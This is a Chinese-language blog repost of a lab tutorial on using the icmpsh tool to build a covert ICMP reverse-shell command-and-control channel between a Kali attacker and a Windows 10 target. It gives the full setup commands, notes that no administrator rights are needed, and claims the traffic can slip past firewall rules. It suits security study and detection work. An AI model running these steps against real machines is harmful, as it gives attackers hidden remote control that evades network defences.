美文网首页
利用ICMP进行命令控制

利用ICMP进行命令控制

作者: Franchen | 来源:发表于2019-08-19 15:51 被阅读0次

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

网络层中的ICMP包

Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活。

利用ICMP协议进行命令控制

我们发布的很多内容中都讨论了C2通道,又叫做命令控制,具体内容可以在这里找到。而在这篇文章中,你会了解到如何将ICMP协议用作命令控制通道。网络战中散布着入侵者和安全研究人员,因此,我们需要备用计划。

众所周知,现在的公司变得更加智能,他们可以理解例如类型相关的攻击在实现了机器的TCP反弹连接。因此我们提出了使用icmpsh作为命令控制工具的一种ICMP隐蔽shell的实现方法。

环境要求

攻击机/C2通道:192.168.1.108(Kali Linux)

宿主机:192.168.1.106(Windows 10)

icmpsh:C2通道与安装方法

icmpsh是一个简单的ICMP反弹shell,拥有用C,Perl和Python实现的POSIX兼容主控端和一个win32的受控端。相比其他类似的开源工具来说,icmpsh的优点是在目标机器上运行时不需要管理员权限。

这一工具干净、简单并且便携。受控端(客户端)使用C语言实现。只能运行在目标Windows机器上,而主控端(服务端)由于已经有Nico Leidecker用C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。

Icmpsh很容易被安装并用作c2通道。可以通过Github下载并在攻击者机器中部署icmpsh。

git clone https://github.com/inquisb/icmpsh.git

以主模式运行icmpsh(Kali Linux)

下载完成之后,使用以下命令来运行主控端。执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。

sysctl -w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh
syntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>
./icmpsh_m.py 192.168.1.108 192.168.1.106

服务端

以从模式运行icmpsh(Windows 10)

在宿主机器中以从模式再次安装icmpsh工具,运行受控端的目标机器中的用户不需要具有管理员权限。然后运行以下命令:

syntax: icmpsh.exe -t <Kali IP>
icmpsh.exe -t 192.168.1.108

在宿主机上执行完上述命令后,攻击者就会收到运行着受控端的机器的反弹shell。你可以从下面给出的图片中观察到,这台主控端机器通过受控端机器返回的命令提示符获取了其控制权。

3.PNG

和我们预期的结果完全一样,而且由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则。

攻击成功截图

【转载说明】
来源:https://www.freebuf.com/sectool/210450.html
作者:Kriston

相关文章

  • 利用ICMP进行命令控制

    ICMP协议工作方式简介 Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由...

  • 利用 ICMP 传输命令执行结果

    Windows Powershell Linux 接收数据

  • 2019-02-11 traceroute命令初识

    traceroute (Windows 系统下是tracert) 命令利用ICMP 协议定位您的计算机和目标计算机...

  • HCIA学习之ICMP(第五天)

    ICMP Internet 控制报文协议ICMP(Internet Control Message Protoco...

  • IPCM协议

    ICMP简介 Intenet控制报文协议ICMP(Internet Control Message Protoco...

  • ICMP协议总结

      ICMP全名为(INTERNET CONTROL MESSAGE PROTOCOL)网络控制消息协议。ICMP...

  • ICMP协议

    前言 1 ICMP协议 网际控制报文协议ICMP(Internet Control Message Protoco...

  • ICMP协议

    概念 网际控制报文协议ICMP(Internet Control Message Protocol)ICMP是IP...

  • 网络协议分析-ICMP

    ICMP: ICMP 网际控制报文协议,通过ICMP可以定位故障发生位置和原因。 由于IP不是为可靠传输服务设计的...

  • (005)TCP/IP协议-ICMP协议

    一、引言 何为ICMP协议? ICMP即互联网控制消息协议(Internal Control Message Pr...

网友评论

      本文标题:利用ICMP进行命令控制

      本文链接:https://www.haomeiwen.com/subject/vdxesctx.html